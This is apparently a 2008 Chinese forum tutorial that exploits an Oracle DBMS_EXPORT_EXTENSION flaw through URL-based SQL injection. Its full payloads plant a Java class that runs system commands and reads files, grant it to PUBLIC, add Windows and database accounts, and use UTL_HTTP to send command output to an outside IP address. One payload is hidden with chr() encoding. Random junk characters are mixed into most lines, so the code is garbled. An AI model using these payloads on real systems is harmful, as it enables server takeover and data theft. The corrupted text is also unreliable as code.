以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
7 r1 I4 C* z0 B% a2 M# e( \# Q, H2 h- O4 e4 w
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 1 e: V. i2 @# g" w
的形式即可。(用" 'a'|| "是为了让语句返回true值) - k7 t- d9 b* T1 Z3 c
语句有点长,可能要用post提交。
7 w( s$ Y& Q l7 ]以下是各个步骤: $ [4 r% X* B( a2 X9 h$ t
1.创建包 # o) k2 r2 J. Q& X1 T4 o
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:) C& Q) q8 p3 _8 x
/xxx.jsp?id=1 and '1'<>'a'||( 7 m2 v! i# ?) ~: ]! F; _3 r4 Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# i$ a; m' E) p- F1 P% s: Zcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
4 n( G& E" b# T; s; rnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
/ h, d( f: w; |, h3 J/ I }}'''';END;'';END;--','SYS',0,'1',0) from dual 7 A+ o. J! t7 c+ K0 q' m
) ; }# D |. r0 N& v2 J0 l
------------------------ # O: H9 z/ Y2 C& b
如果url有长度限制,可以把readFile()函数块去掉,即: + x7 ^! b9 D8 m
/xxx.jsp?id=1 and '1'<>'a'||( 5 j6 w& r% G! ]0 j( F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 c' b* C1 l A3 T
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(( k( }9 _ g0 U% T0 {# f" Z! i! h
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
, R( ~, b5 [3 Z* H/ G}'''';END;'';END;--','SYS',0,'1',0) from dual 4 l+ S3 h6 d/ ~8 b2 Y
) 2 P& s. ~/ x$ G
同时把后面步骤 提到的 对readFile()的处理语句去掉。 5 x+ Y. l# j" d" C+ O
------------------------------ , L# {+ C# D1 p+ F9 \+ H! W
2.赋Java权限 : W7 l$ b" `& Y* Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 s8 F9 O; h& W% D$ p' r: z
3.创建函数 # n6 h; h( D- x. a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* ?7 y/ O0 \1 L8 d: |
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
* u6 \; e. Q$ u0 S1 a% zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 A( i3 a. i: r4 c" u# L% d
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual0 p t# C3 a2 S- |# O* P
4.赋public执行函数的权限
2 o& j* ~8 w5 z' Q/ kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ f5 _" g4 @9 U! {/ C! | b4 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
8 Z' r9 k0 Z8 D5 k4 w0 Z7 x; X2 h9 c5.测试上面的几步是否成功 1 J. k, S& V2 K8 u3 Y
and '1'<>'11'||(
0 ~% m) S2 u: ]9 S* `select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ( [8 b$ g6 \9 d g s8 t8 q
) 4 P( f+ y% J& m. a2 G: i
and '1'<>( , C2 Q# H3 w; m1 s9 ?3 ~% o
select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 7 _8 R: k8 F, @0 K) Y4 O
)
* F( u! P% O! ]; H5 @) c! y6.执行命令: 2 ?- P) Y* z- Y& p% i$ H
/xxx.jsp?id=1 and '1'<>(
" |& Q! J* j. }: Rselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 o# H Q5 B3 z7 z3 V2 S) N9 f9 [
& C) e* R$ E4 h0 [+ @' G* h) $ n5 s- I ^4 O+ r! d4 q) f
/xxx.jsp?id=1 and '1'<>(
) n8 E8 x5 z: T1 s1 D' ?! h* kselect sys.LinxReadFile('c:/boot.ini') from dual
9 o3 H+ j) ]. C' E$ r: p8 m
9 }; X3 B3 l7 ]( U! j) ^)9 @9 ~4 R& R: [
4 Z" }( }( |2 V
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 ! e) D/ @0 e% q( s9 r
如果要查看运行结果可以用 union : % u1 T' a" P% d5 r* J# @
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 D. A' w* z2 C* b3 O! i或者UTL_HTTP.request(: 1 H: d* W. ^9 g9 b/ Z
/xxx.jsp?id=1 and '1'<>(
8 N& M3 R( A) x- u7 V7 A( q e& BSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual- X( @6 u2 Z/ |- V
) * k& e& ^: B' d4 c
/xxx.jsp?id=1 and '1'<>(
7 W8 B) @9 y6 K3 [SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
) k5 k& o2 T5 y) o" H5 \4 F)
' A/ F2 i; k$ M2 K S4 U7 k注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。" C7 ^& H3 Z. j8 i3 t. M/ e' f
-------------------- 7 U, Y ~" x6 B; b$ u
6.内部变化
d( O6 ~( D8 H通过以下命令可以查看all_objects表达改变:
1 d- v+ j; d/ J: h9 D+ u# kselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'+ L9 Q. ^5 Y) L8 k% J; o. T3 c7 n
7.删除我们创建的函数 : G }/ U3 M. ?, x5 s$ F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; D' n" c; Z' Z C5 y8 S
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
3 v8 e3 h, h& F. Y==================================================== & o( Z- U$ q2 f" {) R/ {6 }
全文结束。谨以此文赠与我的朋友。
& [$ ^& A- k) @/ g6 f$ Plinx - n {; |& @$ c z7 i
124829445
; L* n' J& R8 o) H8 f g2008.1.12 9 a# S) K( S6 u. R1 m0 t
linyujian@bjfu.edu.cn - y+ V2 o" W, I! ^% y
======================================================================
$ c K) g" M( q$ \测试漏洞的另一方法:
d( E7 u6 J7 K8 ^9 Y$ ^创建oracle帐号: & d: n- d/ B- k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ P4 d: q2 b$ \5 l" u/ zCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
. M7 |* }* P& r% Y" D: w即:
4 r7 _& K) P- u- ~5 j N+ |0 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
$ a" b* j3 n- h" Xchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
8 m; q8 s: M D2 P: ^确定漏洞存在: & f2 o- e, W5 l1 y
1<>(
0 X9 ]" n' G& ?# \# Bselect user_id from all_users where username='LINXSQL' 1 V# L* o) m. w. W" o( O: a
) ) e( |# t0 t, G" g$ ]$ c: u/ Q
给linxsql连接权限: & m# Z5 i. r" |& X( O3 o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. G' `, I- S6 u+ W, o
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
|! e/ G: e: Y, o$ J0 q V删除帐号: " D5 V1 V( r' }5 V j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, R" f! z2 i7 d. tdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual , B* j1 \: @ z( l" e% n( c
======================
6 B5 k6 Q( b, r( Q以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
$ T' z' ^3 z' l% Q6 i; o0 Y1.jsp?id=1 and '1'<>(
0 O- S3 t. W0 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& ^, W, |1 F" {create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
$ N! V# h; {2 K- d. y/ g" [) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
5 K+ }% S) X0 Z, B0 r! F n4 X )
9 c! c) W' ^" `- t
0 r/ W! t0 E0 B, i( q1 z8 Y" E1 s# i+ H8 b3 g
- Q! c- }2 {; @
|